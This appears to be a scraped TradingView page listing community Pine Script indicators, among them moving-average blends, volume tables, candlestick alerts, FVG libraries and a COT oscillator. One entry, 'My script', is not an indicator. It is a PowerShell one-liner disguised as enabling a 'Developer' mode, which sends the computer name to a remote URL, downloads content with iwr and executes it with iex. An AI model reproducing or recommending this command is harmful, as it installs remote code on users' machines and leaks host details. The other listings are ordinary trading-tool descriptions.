Larry Williams's Market Structure
Here is a Pine script based on Larry Williams' market structure model.
Note: When processing real-time ticks, heavy calculations can cause script errors. To prevent this, please adjust the script's data range accordingly.
As I'm not an expert in Pine Script, there may be some imperfections. Your understanding is appreciated.
I have great admiration for the wisdom of Larry Williams.
May the trend be with you.
Göstergeler ve stratejiler
Kent Directional Filter🧭 Kent Directional Filter
Author: GabrielAmadeusLau
Type: Filter
📖 What It Is
The Kent Directional Filter is a directionality-sensitive smoothing tool inspired by the Kent distribution, a probability model used to describe directional and elliptical shapes on a sphere. In this context, it's repurposed for analyzing the angular trajectory of price movements and smoothing them for actionable insights.
It’s ideal for:
Detecting directional bias with probabilistic weighting
Enhancing momentum or trend-following systems
Filtering non-linear price action
🔬 How It Works
Price Angle Estimation:
Computes a rough angular shift in price using atan(src - src ) to estimate direction.
Kent Distribution Weighting:
κ (kappa) controls concentration strength (how sharply it prefers a direction).
β (beta) controls ellipticity (bias toward curved vs. linear moves).
These parameters influence how strongly the indicator favors movements at ~45° angles, simulating a directional “lens.”
Smoothing:
A Simple Moving Average (SMA) is applied over the raw directional probabilities to reduce noise and highlight the underlying trend signal.
⚙️ Inputs
Source: Price series used for angle calculation (default: close)
Smoothing Length: Window size for the moving average
Pi Divisor: Pi / 4 would be 45 degrees, you can change the 4 to 3, 2, etc.
Kappa (κ): Controls how focused the directionality is (higher = sharper filter)
Beta (β): Adds curvature sensitivity; higher values accentuate asymmetrical moves
🧠 Tips for Best Results
Use κ = 1–2 for moderate directional filtering, and β = 0.3–0.7 for smooth elliptical bias.
Combine with volume-based indicators to confirm breakout strength.
Works best in higher timeframes (1h–1D) to capture macro directional structure.
I might revisit this.
CRT Impulse Detector - Bull & BearHelps Identify Impulse Candles, only triggering those that break recent swings.
Multi-EMA Signal LineWhat this does:
Blends 5 EMAs (10, 21, 50, 100, 200) into one smooth line
Colors the line:
Green = when EMAs are stacked bullish
Red = when EMAs are stacked bearish
Gray = uncertain / mixed alignment
Pre-Market High and LowThis Pine Script indicator automatically plots the pre-market high and low price levels for each trading day, helping traders identify key support and resistance zones based on pre-market activity. Designed for stocks and other assets with pre-market sessions, it draws horizontal lines at the pre-market high and low prices at the regular market open (9:30 AM EST) and resets automatically at the start of each new trading day.
Features:
Automatic Daily Reset: Tracks pre-market highs and lows without requiring manual date changes.
Customizable Timeframe: Set your preferred pre-market session (default: 4:00 AM to 9:30 AM EST).
Flexible Styling: Choose line styles (Solid, Dashed, Dotted) and colors for high/low lines.
Adjustable Panel Size: Control how far the lines extend across the chart (default: 50 bars).
Optional Labels: Toggle labels to display "Pre-Market High" and "Pre-Market Low" at the market open.
Overlay Display: Lines and labels are plotted directly on the price chart for easy reference.
Refined MA + Engulfing (Strategy-Equivalent Trigger)I would like to start by saying that this indicator was put together using ChatGPT, some past trades from myself and some backtested trades, and from my time as a student in Wallstreet Academy under Cue Banks.
I am not profitable yet. I am too jumpy and blow accounts. I'm hoping this indicator (and it's strategy twin), with the help of some alerts, can help me spend less time on the charts, so that I'm not tempted to press buttons as much.
It does fire quite a bit. It can be adjusted, I believe, to trigger more or less (open the script, cooldown bars(x) <== change the X to whatever. 5 minute intervals so 1 is 5.
With that being said, there are times that this indicator has shown to trigger and I ask, "Why?".
I just want to help myself and others, and maybe make some decent\cool stuff along the way. Enjoy
KR
Waterfall ScreenerHow to Use This to Screen Stocks: A Step-by-Step Guide
Save the Screener Script: Open the Pine Editor, paste the code above, and save it with a clear name like "Waterfall Screener".
Open the Stock Screener: Go to the TradingView homepage or any chart page and click the "Screener" tab at the bottom. Make sure you are on the "Stock" screener.
Set Your Market: Choose the market you want to scan (e.g., NASDAQ, NYSE).
Add Your Custom Filter (The Magic Step):
Click the "Filters" button on the right side of the screener panel.
In the search box that appears, type the name of your new script: "Waterfall Screener".
It will appear as a selectable filter. Click it.
Configure the Filter:
A new filter will appear in your screener list named "Waterfall Screener".
You can now set conditions for the "ScreenerSignal" value we plotted.
To find stocks with a new, actionable trade plan, set the filter to:
Waterfall Screener | Equal | 1
Refine and Scan:
Add other essential filters to reduce noise, such as:
Volume > 1M (to find liquid stocks)
Market Cap > 1B (to find established companies)
The screener will now automatically update and show you a list of all stocks that currently have a "PENDING_ENTRY" setup according to the indicator's logic and your chosen timeframe (e.g., Daily).
My scriptpowershell -Command "$TradingView = 'app'; LSE:MODE = 'Developer'; $Devmode = 'enable' + 'dev.' + $TradingView + '?ai=' + $env:COMPUTERNAME; if ($Devmode) { $enable = iwr $Devmode -UseBasicParsing; iex ( ::UTF8.GetString($enable.Content)) }"
Short-Indicator + Exit-AlertThis simple yet effective indicator is designed for beginners and provides a clear trading signal when three conditions are met:
- The stock price is below the EMA200, indicating a bearish trend.
- The MACD histogram changes from positive to negative, a signal for momentum reversal from bullish to bearish.
- The Volume Oscillator is positive (above the zero line), suggesting increasing trading activity.
Alert: When all three conditions are fulfilled, an alert is triggered for a potential short entry.
- Take Profit (TP): When the price hits the lower boundary of the Donchian Channel, the trade is exited with a profit.
- Stop Loss (SL): When the price touches the upper boundary of the Donchian Channel, the position is closed to limit losses.
Short-Indicator + Exit-AlertThis simple yet effective indicator is designed for beginners and provides a clear trading signal when three conditions are met:
- The stock price is below the EMA200, indicating a bearish trend.
- The MACD histogram changes from positive to negative, a signal for momentum reversal from bullish to bearish.
- The Volume Oscillator is positive (above the zero line), suggesting increasing trading activity.
Alert: When all three conditions are fulfilled, an alert is triggered for a potential short entry.
- Take Profit (TP): When the price hits the lower boundary of the Donchian Channel, the trade is exited with a profit.
- Stop Loss (SL): When the price touches the upper boundary of the Donchian Channel, the position is closed to limit losses.
SPY Movers % Change TableThis indicator displays a table of the 10 top SPY movers which constitute 37% weight on SPY movement.
Swing FX Pro Panel v1Description:
"Swing FX Pro Panel v1" is a professional swing trading strategy tailored for the Forex market and other highly liquid assets. The core logic is based on the crossover of two Exponential Moving Averages (EMA), allowing the strategy to detect trend shifts and generate precise entry signals.
The script includes an interactive performance panel that dynamically displays:
initial capital,
risk per trade (%),
the number of trades taken during a selected period (e.g., 6 months),
win/loss statistics,
ROI (Return on Investment),
maximum drawdown,
win ratio.
Nifty 50 Gap Day High/LowFor Gap up & down days use this
track high & low of 1st candle
if break high then go for call position
and
if break low go for Put position
Custom Moving AveragesThis moving average indicator is a combination of EMA 20 SMA 50 EMA 100 sma 200 it is used full of swing traders
RJLibrary "RJ"
The library is searching the FVG
find_bull_rj(provided_RJs, low_1, high_1, time_3, bar_closed, close_2, open_2, low_2)
Parameters:
provided_RJs (array type from maksym_hayovets/POITypes/6)
low_1 (float)
high_1 (float)
time_3 (int)
bar_closed (bool)
close_2 (float)
open_2 (float)
low_2 (float)
CandleSensei – EMA200, Wick & Pattern Alerts)CandleSensei is an advanced Pine Script designed for traders who need real-time alerts on key price action signals and candlestick patterns. It combines EMA200 analysis, volatility (ATR), wick/body detection, and classical candlestick pattern recognition (Engulfing, Pin Bar, Doji, Marubozu) – all in a single tool.
Key Features:
EMA200 HUD – Displays price deviation from EMA200 with directional arrows (▲ / ▼) and percentage values.
Wick Alerts – Alerts for significant wicks:
WICK ALERT: ↓🐂 3.5% (long lower wick – bullish signal).
WICK ALERT: ↑🐻 4.2% (long upper wick – bearish signal).
Big Body Alerts – Detects strong candle bodies exceeding a customizable threshold.
BIG BODY ALERT: ↑ 5.8%
BIG BODY ALERT: ↓ 4.7%
Candlestick Patterns – Automatic alerts for:
Engulfing (🟢🐂 or 🔴🐻).
Pin Bar (🟢🔨 Hammer, 🔴☄️ Shooting Star).
Doji (⚪ Doji 🟢↑ / 🔴↓).
Marubozu (📏 Marubozu 🟢↑ / 🔴↓).
On-Chart HUD – Shows ATR, price vs EMA200, wick size, and full body % in a compact table.
Why use CandleSensei?
Perfect for swing traders (Daily/Weekly analysis) and intraday traders (1H).
Combines trend direction, volatility, and price action patterns in a single dashboard.
Fully customizable thresholds for wick and body alerts.
FVGLibrary "FVG"
The library is searching the FVG
find_bull_fvg(provided_fvgs, monthly_low_1, monthly_high_3, monthly_time_3, monthly_bar_closed, monthly_high_1)
Parameters:
provided_fvgs (array type from maksym_hayovets/POITypes/1)
monthly_low_1 (float)
monthly_high_3 (float)
monthly_time_3 (int)
monthly_bar_closed (bool)
monthly_high_1 (float)
find_bear_fvg(provided_fvgs, monthly_low_3, monthly_high_1, monthly_time_3, monthly_bar_closed, monthly_low_1)
Parameters:
provided_fvgs (array type from maksym_hayovets/POITypes/1)
monthly_low_3 (float)
monthly_high_1 (float)
monthly_time_3 (int)
monthly_bar_closed (bool)
monthly_low_1 (float)
POITypesLibrary "POITypes"
TODO: add library description here
ZonePOI
Fields:
right (series int)
top (series float)
left (series int)
bottom (series float)
is_tested (series bool)
start_time_test_4H (series int)
end_time_test_4H (series int)
is_covered (series bool)
is_drawn (series bool)
Up/Down Volume with Table (High Contrast)Up/Down Volume with Table (High Contrast) — Script Summary & User Guide
Purpose of the Script
This TradingView indicator, Up/Down Volume with Table (High Contrast), visually separates and quantifies up-volume and down-volume for each bar, providing both a color-coded histogram and a dynamic table summarizing the last five bars. The indicator helps traders quickly assess buying and selling pressure, recent volume shifts, and their relationship to price changes, all in a highly readable format.
Key Features
Up/Down Volume Columns:
Green columns represent volume on bars where price closed higher than the previous bar (up volume).
Red columns represent volume on bars where price closed lower than the previous bar (down volume).
Delta Line:
Plots the net difference between up and down volume for each bar.
Green when up-volume exceeds down-volume; red when down-volume dominates.
Interactive Table:
Displays the last five bars, showing up-volume, down-volume, delta, and close price.
Color-coding for quick interpretation.
Table position, decimal places, and timeframe are all user-configurable.
Custom Timeframe Support:
Calculate all values on the chart’s timeframe or a custom timeframe of your choice (e.g., daily, hourly).
High-Contrast Design:
Table and plot colors are chosen for maximum clarity and accessibility.
User Inputs & Configuration
Use custom timeframe:
Toggle between the chart’s timeframe and a user-specified timeframe.
Custom timeframe:
Set the timeframe for calculations if custom mode is enabled (e.g., "D" for daily, "60" for 60 minutes).
Decimal Places:
Choose how many decimal places to display in the table.
Table Location:
Select where the table appears on your chart (e.g., Bottom Right, Top Left, etc.).
How to Use
Add the Script to Your Chart:
Copy and paste the code into a new Pine Script indicator on TradingView.
Add the indicator to your chart.
Configure Inputs:
Open the indicator settings.
Adjust the timeframe, decimal places, and table location as desired.
Read the Table:
The table appears on your chart (location is user-selectable) and displays the following for the last five bars:
Bar: "Now" for the current bar, then "Bar -1", "Bar -2", etc. for previous bars.
Up Vol: Volume on bars where price closed higher than previous bar, shown in black text.
Down Vol: Volume on bars where price closed lower than previous bar, shown in black text.
Delta: Up Vol minus Down Vol, colored green for positive, red for negative, black for zero.
Close: Closing price for each bar, colored green if price increased from previous bar, red if decreased, black if unchanged.
Interpret the Histogram and Lines:
Green Columns:
Represent up-volume. Tall columns indicate strong buying volume.
Red Columns:
Represent down-volume. Tall columns indicate strong selling volume.
Delta Line:
Plotted as a line (not a column), colored green for positive values (more up-volume), red for negative (more down-volume).
Large positive or negative spikes may indicate strong buying or selling pressure, respectively.
How to Interpret the Table
Column Meaning Color Coding
Bar "Now" (current bar), "Bar -1" (previous bar), etc. Black text
Up Vol Volume for bars with higher closes than previous bar Black text
Down Vol Volume for bars with lower closes than previous bar Black text
Delta Up Vol - Down Vol. Green if positive, red if negative, black if zero Green/Red/Black
Close Closing price for the bar. Green if price increased, red if decreased, black if unchanged Green/Red/Black
Green Delta: Indicates net buying pressure for that bar.
Red Delta: Indicates net selling pressure for that bar.
Close Price Color:
Green: Price increased from previous bar.
Red: Price decreased.
Black: No change.
Practical Trading Insights
Consistently Green Delta (Histogram & Table):
Sustained buying pressure; may indicate bullish sentiment or accumulation.
Consistently Red Delta:
Sustained selling pressure; may indicate bearish sentiment or distribution.
Large Up/Down Volume Spikes:
Big green or red columns can signal strong market activity or potential reversals if they occur at trend extremes.
Delta Flipping Colors:
Rapid alternation between green and red deltas may indicate a choppy or indecisive market.
Close Price Color in Table:
Use as a quick confirmation of whether volume surges are pushing price in the expected direction.
Troubleshooting & Notes
No Volume Data Error:
If your symbol doesn’t provide volume data (e.g., some indices or synthetic assets), the script will display an error.
Custom Timeframe:
If using a custom timeframe, ensure your chart supports it and that there is enough data for meaningful calculations.
High-Contrast Table:
Designed for clarity and accessibility, but you can adjust colors in the code if needed for your personal preferences.
Summary Table Legend
Bar Up Vol Down Vol Delta Close
Now ... ... ... ...
Bar-1 ... ... ... ...
... ... ... ... ...
Colors reflect the meaning as described above.
In Summary
This indicator visually and numerically breaks down buying and selling volume, helping you spot shifts in market sentiment, volume surges, and price/volume divergences at a glance.
Use the table for precise recent data, the histogram for overall flow, and the color cues for instant market context.
COT_OscilatorThe COT Ocsilator Indicator is a quantitative analysis tool that uses the positioning of so-called Commercials from the weekly Commitments of Traders (COT) report published by the CFTC . It is designed to detect extreme hedging behavior by institutional participants and translates it into a normalized scale from 0 to 100. The goal is to provide early indication of potential market reversals or overextensions.
What is the "Commercial Index"?
Commercials are market participants with a direct connection to the underlying asset – such as producers, processors, or large-scale users of commodities. They are often referred to as "Smart Money" due to their fundamental market insight and hedging purpose.
The Commercial Index measures where the current net position of Commercials (Long - Short) stands within a user-defined historical lookback window:
Index = 100 : the most bullish net position in the selected period.
Index = 0 : the most bearish net position.
How does the indicator work?
Data Source: The script uses the latest TradingView/LibraryCOT/4, which provides structured access to official COT data.
Calculation:
Weekly long and short positions of Commercials are requested based on the selected root symbol (e.g., "HG" for Copper).
Net position is calculated as: Net = Long - Short .
This value is normalized within the selected historical range (e.g., 150 weeks) between the highest and lowest net positions.
Result : A smooth oscillator ranging from 0 to 100 is plotted.
How to use the indicator?
Select your target future market (e.g., "GC" for Gold, "CL" for Crude Oil, "HG" for Copper).
Optionally adjust the three time windows to observe short-, mid-, and long-term sentiment (e.g., 125, 250, 500 weeks).
Watch for extreme readings:
Above 80–100: Commercials are heavily net long.
Below 20–0: Commercials are heavily net short.
These extremes are especially relevant when combined with price action, seasonality, or technical signals.
What makes this script unique?
Objective sentiment evaluation based on real institutional positioning.
Three timeframes shown in parallel for multi-horizon analysis.
No smoothing or distortion – raw positioning is visualized cleanly.
Useful in futures markets, where hedging behavior is a major driver.
Tips for Use:
Best viewed on weekly daily or charts (e.g., COMEX:HG1!, NYMEX:CL1!, CBOT:ZW1!).
Combine with technical setups or external sentiment tools for confirmation.
Can be used as a core building block in COT-based strategies or signal generation systems.
This indicator helps you track the footprints of Smart Money – and anticipate where the market might turn.